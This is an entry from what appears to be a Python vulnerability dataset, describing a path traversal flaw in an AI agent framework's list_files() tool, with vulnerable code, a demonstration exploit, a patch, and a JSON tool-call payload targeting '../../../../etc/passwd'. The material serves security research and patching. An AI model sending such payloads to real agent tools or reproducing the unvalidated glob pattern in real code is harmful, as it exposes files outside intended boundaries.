CVE-2026-40152
Path traversal in list_files() allows arbitrary file enumeration.
- CVSS 5.3
- CWE-22
- Input Validation and Sanitization
- Remote
PraisonAIAgents is a multi-agent teams system. Prior to 1.5.128, he list_files() tool in FileTools validates the directory parameter against workspace boundaries via _validate_path(), but passes the pattern parameter directly to Path.glob() without any validation. Since Python's Path.glob() supports .. path segments, an attacker can use relative path traversal in the glob pattern to enumerate arbitrary files outside the workspace, obtaining file metadata (existence, name, size, timestamps) for any path on the filesystem. This vulnerability is fixed in 1.5.128.
- CWE
- CWE-22
- CVSS base score
- 5.3
- Published
- 2026-04-09
- OWASP
- A01 Broken Access Control
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Remote
- Impact
- Information Disclosure
- Affected component
- PraisonAIAge
- Fixed by upgrading
- Yes
Solution
Upgrade to PraisonAIAgents version 1.5.128 or later.
Vulnerable code sample
import os
from pathlib import Path
import tempfile
import time
# This code represents the vulnerable state of FileTools prior to version 1.5.128
# as described in the CVE. It is for educational and demonstration purposes only.
class FileTools:
"""
A simplified representation of the FileTools class with the vulnerability.
"""
def __init__(self, workspace_path: str):
self.workspace = Path(workspace_path).resolve()
if not self.workspace.exists():
self.workspace.mkdir(parents=True, exist_ok=True)
print(f"FileTools initialized with workspace: {self.workspace}")
def _validate_path(self, path_to_validate: Path):
"""
Validates that the given path is within the configured workspace.
This check is correctly applied to the 'directory' parameter.
"""
resolved_path = path_to_validate.resolve()
if not resolved_path.is_relative_to(self.workspace):
raise ValueError(f"Path '{path_to_validate}' is outside the allowed workspace.")
return resolved_path
def list_files(self, directory: str, pattern: str = "*"):
"""
Vulnerable function to list files.
It validates the 'directory' parameter but fails to validate the 'pattern'
parameter, passing it directly to Path.glob(). This allows an attacker
to use '..' in the pattern to traverse outside the workspace.
"""
print(f"\n--- Calling list_files(directory='{directory}', pattern='{pattern}') ---")
try:
# The 'directory' is combined with the workspace and validated.
# This provides a false sense of security.
base_dir = self.workspace / directory
self._validate_path(base_dir)
print(f"[+] 'directory' parameter validated successfully. Base search path: {base_dir}")
# THE VULNERABILITY: 'pattern' is not sanitized and is passed directly to glob().
# An attacker can inject '..' to traverse the filesystem.
print(f"[!] 'pattern' parameter is not validated. Passing '{pattern}' directly to glob.")
glob_results = base_dir.glob(pattern)
file_info_list = []
for path in glob_results:
if path.is_file():
stat = path.stat()
file_info_list.append({
"name": path.name,
"path": str(path.resolve()),
"size": stat.st_size,
"mtime": stat.st_mtime,
})
print(f"[+] Found {len(file_info_list)} file(s).")
return file_info_list
except ValueError as e:
print(f"[-] Operation blocked: {e}")
return None
# --- Demonstration of the exploit ---
if __name__ == "__main__":
with tempfile.TemporaryDirectory() as tmpdir:
base_dir = Path(tmpdir)
workspace_dir = base_dir / "agent_workspace"
secret_dir = base_dir / "system_secrets"
# Setup the environment
workspace_dir.mkdir()
secret_dir.mkdir()
(workspace_dir / "public_plan.txt").write_text("This is a public file.")
(secret_dir / "api_keys.conf").write_text("SECRET_KEY=ABC123XYZ789")
print("="*60)
print(" DEMONSTRATING CVE-2026-40152 VULNERABILITY")
print("="*60)
print(f"Temp Directory: {base_dir}")
print(f"Workspace: {workspace_dir}")
print(f"Secret Location: {secret_dir}")
print("="*60)
# Instantiate the vulnerable class
tools = FileTools(workspace_path=str(workspace_dir))
# 1. Legitimate use case: Listing files within the workspace.
print("\n\n>>> 1. Legitimate Use Case")
legitimate_files = tools.list_files(directory=".", pattern="*.txt")
if legitimate_files:
print("--- Results ---")
for f in legitimate_files:
print(f" - Found safe file: {f['name']} (Path: {f['path']})")
# 2. Blocked attack: Attempting path traversal via the 'directory' parameter.
print("\n\n>>> 2. Blocked Attack Attempt (via 'directory' parameter)")
tools.list_files(directory="../system_secrets", pattern="*")
# 3. Successful exploit: Using path traversal in the 'pattern' parameter.
print("\n\n>>> 3. SUCCESSFUL EXPLOIT (via 'pattern' parameter)")
# The pattern traverses up from the workspace, then into the secrets directory.
malicious_pattern = f"../{secret_dir.name}/*"
leaked_files = tools.list_files(directory=".", pattern=malicious_pattern)
if leaked_files:
print("\n--- VULNERABILITY CONFIRMED ---")
print("Leaked file metadata from outside the workspace:")
for f in leaked_files:
print(f" - Leaked file: {f['name']}")
print(f" Path: {f['path']}")
print(f" Size: {f['size']} bytes")
print(f" Modified: {time.ctime(f['mtime'])}")
else:
print("\n--- Exploit did not find files ---")Patched code sample
import os
from pathlib import Path
class FileTools:
"""
A representative class to demonstrate the fix for CVE-2026-40152.
The original vulnerability allowed an attacker to use path traversal sequences
(e.g., '..') within the `pattern` parameter of the `list_files` method.
This was because the `pattern` was passed directly to `Path.glob()` without
prior validation, unlike the `directory` parameter.
The fix involves adding a new validation step for the `pattern` to
explicitly forbid path traversal elements.
"""
def __init__(self, workspace: str = "workspace"):
self.workspace = Path(workspace).resolve()
# Ensure the workspace directory exists for demonstration purposes.
self.workspace.mkdir(parents=True, exist_ok=True)
def _validate_path(self, path: str) -> Path:
"""
Validates that a given directory path is within the allowed workspace.
This function was part of the original code and is kept for context.
"""
# Resolve the combined path relative to the workspace.
resolved_path = (self.workspace / path).resolve()
# Check if the resolved path is within the workspace boundary.
# A robust way is to check if the workspace path is a parent of the resolved path.
if self.workspace not in resolved_path.parents and resolved_path != self.workspace:
raise ValueError("Access denied: Path is outside the workspace.")
return resolved_path
# ---------- FIX STARTS HERE ----------
def _validate_glob_pattern(self, pattern: str):
"""
NEW helper method that contains the fix for CVE-2026-40152.
It validates the glob pattern to prevent path traversal attacks.
"""
# 1. Disallow absolute paths in the pattern, as they ignore the base directory.
if Path(pattern).is_absolute():
raise ValueError(
"Access denied: Absolute paths are not allowed in patterns."
)
# 2. Disallow '..' in any component of the pattern path.
# This is the core of the traversal prevention.
if ".." in Path(pattern).parts:
raise ValueError(
"Access denied: Path traversal ('..') is not allowed in patterns."
)
def list_files(self, directory: str, pattern: str = "*") -> str:
"""
Lists files in a specified directory matching a glob pattern.
This method is now secure against path traversal in the `pattern`
parameter by invoking the `_validate_glob_pattern` helper method.
"""
try:
# FIX: The user-supplied `pattern` is validated *before* it is used.
# This call will raise a ValueError if the pattern is malicious.
self._validate_glob_pattern(pattern)
# The original validation for the base directory remains.
base_dir = self._validate_path(directory)
if not base_dir.is_dir():
return f"Error: Directory '{directory}' does not exist."
# Now it is safe to use the pattern with glob, as traversal
# and absolute paths have been blocked.
files = list(base_dir.glob(pattern))
if not files:
return f"No files found in '{base_dir.relative_to(Path.cwd())}' matching '{pattern}'."
file_details = [
f"- {f.name} (Size: {f.stat().st_size} bytes)" for f in files if f.is_file()
]
return (
f"Files in '{base_dir.relative_to(Path.cwd())}' matching '{pattern}':\n"
+ "\n".join(file_details)
)
except ValueError as e:
# This will catch validation errors from both _validate_path and the new _validate_glob_pattern.
return f"Error: {e}"
except Exception as e:
return f"An unexpected error occurred: {e}"
# ---------- FIX ENDS HERE ----------Payload
{
"tool_name": "list_files",
"parameters": {
"directory": ".",
"pattern": "../../../../etc/passwd"
}
}
Cite this entry
@misc{vaitp:cve202640152,
title = {{Path traversal in list_files() allows arbitrary file enumeration.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-40152},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-40152/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
